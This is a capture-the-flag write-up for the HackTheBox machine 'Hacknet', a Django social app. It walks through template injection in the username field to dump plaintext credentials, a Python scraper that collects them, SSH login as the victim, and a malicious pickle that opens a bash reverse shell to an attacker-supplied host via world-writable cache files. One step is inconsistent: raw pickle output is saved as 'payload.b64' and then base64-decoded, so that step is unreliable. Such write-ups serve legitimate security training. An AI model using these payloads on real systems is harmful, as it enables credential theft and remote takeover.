HackTheBox - Hacknet Writeup
Machine: Hacknet
Difficulty: Medium
OS: Linux
IP: 10.10.11.85
Summary
Hacknet is a medium-difficulty Linux machine that showcases a Django web application with multiple vulnerabilities. The attack path involves exploiting a Server-Side Template Injection (SSTI) vulnerability combined with an Insecure Direct Object Reference (IDOR) to extract user credentials, followed by lateral movement via Django cache poisoning using Python Pickle deserialization, and finally privilege escalation through GPG-encrypted database backup analysis.
Initial Enumeration
Port Scanning
Starting with a standard nmap scan to identify open services:
nmap -sC -sV -oA nmap/hacknet 10.10.11.85
Web Enumeration
The target runs a web service on port 80. Let's add the domain to our hosts file:
echo "10.10.11.85 hacknet.htb" >> /etc/hosts
Directory and Subdomain Discovery
# Directory enumeration
feroxbuster -u http://hacknet.htb -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x php,html,js,json,txt,log -t 50 -e
# Subdomain enumeration
ffuf -u http://hacknet.htb -H "Host: FUZZ.hacknet.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -ac
Unfortunately, both feroxbuster and ffuf didn't reveal anything interesting.
Web Application Analysis
Visiting http://hacknet.htb/
reveals a login page. Using Wappalyzer, we can identify that the application is built with the Django Framework.
The application appears to be a Django-style social media platform with the following key endpoints:
/profile
- User profile management/profile/edit
- Username editing (critical for our exploit)/messages
- User messaging/contacts
- Contact management/explore
- Content discovery/search
- Search functionalityGET /like/<POST_ID>
- Toggle like state (AJAX)GET /likes/<POST_ID>
- HTML fragment showing post likers
Initial Access - SSTI Exploitation
Vulnerability Discovery
After registering a new user account, I discovered that the application renders usernames directly within Django templates when displaying the list of post likers at /likes/<id>
.
The critical vulnerability lies in how the application handles the username field in the likes functionality. When a user likes a post, their username is rendered in an HTML fragment like this:
<div class="likes-review-item">
<a href="/profile/<UID>">
<img src="/media/<pic>" title="<SERVER-RENDERED-CONTENT>">
</a>
</div>
The value inside the title
attribute is rendered using Django's template engine, creating a Server-Side Template Injection (SSTI) vulnerability.
Exploitation Process
Step 1: Change username to SSTI payload
Navigate to /profile/edit
and set the username to:
{{users.values}}
Step 2: Like a target post
Send a GET request to like a specific post:
curl -s -b "sessionid=YOUR_SESSION_ID; csrftoken=YOUR_CSRF_TOKEN" \
-H "Host: hacknet.htb" \
-H "X-Requested-With: XMLHttpRequest" \
"http://hacknet.htb/like/23"
Step 3: Extract credentials
Visit /likes/23
to trigger the template injection:
curl -s -b "sessionid=YOUR_SESSION_ID; csrftoken=YOUR_CSRF_TOKEN" \
-H "Host: hacknet.htb" \
"http://hacknet.htb/likes/23"
This returns the full Django QuerySet dump containing user credentials in plaintext!
Automated Credential Extraction
For efficiency, I created a Python script to automate the credential extraction process:
import requests
import re
from bs4 import BeautifulSoup
BASE_URL = "http://hacknet.htb"
COOKIES = {
"sessionid": "YOUR_SESSION_ID",
"csrftoken": "YOUR_CSRF_TOKEN",
}
HEADERS = {
"User-Agent": "Mozilla/4.0",
"Referer": BASE_URL,
"X-CSRFToken": COOKIES["csrftoken"],
}
OUTPUT_FILE = "creds.txt"
def extract_creds_from_html(html):
"""Extract credentials from <img title="...">"""
users = []
soup = BeautifulSoup(html, "html.parser")
for img in soup.find_all("img"):
title = img.get("title")
if not title:
continue
# Look for Django QuerySet style dump
matches = re.findall(
r"'email': '([^']+)', 'username': '([^']+)', 'password': '([^']+)'",
title,
)
for email, username, password in matches:
users.append((email, username, password))
return users
def save_users(users, seen):
"""Saves new users to file, skips duplicates"""
new_lines = []
for email, username, password in users:
key = (email, username)
if key not in seen:
seen.add(key)
new_lines.append(f"{email}:{username}:{password}")
if new_lines:
with open(OUTPUT_FILE, "a") as f:
for line in new_lines:
f.write(line + "\n")
print(f"[+] Saved {len(new_lines)} new users to {OUTPUT_FILE}")
def main():
session = requests.Session()
session.cookies.update(COOKIES)
session.headers.update(HEADERS)
seen = set()
for post_id in range(1, 31): # Check posts 1-30
like_url = f"{BASE_URL}/like/{post_id}"
likes_url = f"{BASE_URL}/likes/{post_id}"
# Like the post to appear in likers
session.get(like_url)
# Fetch the likers page
r = session.get(likes_url)
creds = extract_creds_from_html(r.text)
print(f"[DEBUG] Post {post_id} → Found {len(creds)} credentials")
save_users(creds, seen)
if __name__ == "__main__":
main()
Extracted Credentials
The script successfully extracted multiple credentials, with the most important being:
[email protected]:backdoor_bandit:mYd4rks1dEisH3re
User Flag
With the extracted credentials, we can establish SSH access:
ssh [email protected]
# Password: mYd4rks1dEisH3re
Once logged in as mikey, we can retrieve the user flag:
cat /home/mikey/user.txt
Lateral Movement - Django Cache Poisoning
Privilege Assessment
After gaining access as mikey, let's check our privileges:
sudo -l # No sudo rights
ls /home # Shows another user: sandy
The mikey
user doesn't have sudo privileges, but there's another user named sandy
on the system.
Django Cache Discovery
Since we know the application uses Django, let's investigate the cache directory:
ls -ld /var/tmp/django_cache
# drwxrwxrwx 3 sandy www-data 4096 date /var/tmp/django_cache
Key observations:
- Directory is world-writable (777 permissions)
- Owned by user
sandy
and groupwww-data
- Django stores cache as Pickle files here
Python Pickle Deserialization Attack
Django's FileBasedCache stores serialized Python objects using the Pickle module. Since the directory is world-writable, we can overwrite cache files with malicious Pickle payloads.
Step 1: Create the malicious payload
#!/usr/bin/env python3
import os, pickle, time, sys
LHOST="10.10.14.XX" # Your tun0 IP
LPORT=4422 # Your listener port
class Exploit:
def __reduce__(self):
return (os.system,(f'bash -c "bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1"',))
expiry = str(int(time.time()) + 600).encode() + b"\n" # epoch + LF
sys.stdout.buffer.write(expiry + pickle.dumps(Exploit(), protocol=pickle.HIGHEST_PROTOCOL))
Step 2: Generate and upload payload
# On Kali
nc -lvnp 4422 # Start listener
python3 exploit.py > payload.b64
# Upload to target
scp payload.b64 [email protected]:/tmp/
Step 3: Warm the cache and identify recent files
# Trigger Django to create cache files
curl -H "Cookie: sessionid=YOUR_SESSION_ID; csrftoken=YOUR_CSRF_TOKEN" \
http://hacknet.htb/explore >/dev/null
# List recent cache files
ls -lt /var/tmp/django_cache/*.djcache | head
Step 4: Overwrite cache files with payload
cd /var/tmp/django_cache
for i in 1f0acfe7480a469402f1852f8313db86.djcache 90dbab8f3b1e54369abdeb4ba1efc106.djcache; do
rm -f $i
cat /tmp/payload.b64 | base64 -d > $i
chmod 777 $i
done
Step 5: Trigger payload execution
curl -H "Cookie: sessionid=YOUR_SESSION_ID; csrftoken=YOUR_CSRF_TOKEN" \
http://hacknet.htb/explore >/dev/null
This triggers Django to load and deserialize our malicious cache file, executing our reverse shell payload as the sandy
user.